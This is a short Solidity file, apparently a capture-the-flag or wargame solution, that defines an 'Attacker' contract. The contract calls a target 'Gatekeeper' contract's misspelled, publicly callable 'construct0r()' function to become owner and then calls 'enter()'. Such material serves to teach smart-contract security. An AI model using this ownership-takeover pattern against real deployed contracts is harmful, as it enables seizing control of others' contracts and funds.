// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Gatekeeper {
    function construct0r() external ;
    function enter() external ;
}

contract Attacker {

    function attack(address _target) public {
        Gatekeeper(_target).construct0r(); // Call construct0r() to become Owner
        Gatekeeper(_target).enter(); // Call enter()
    }
}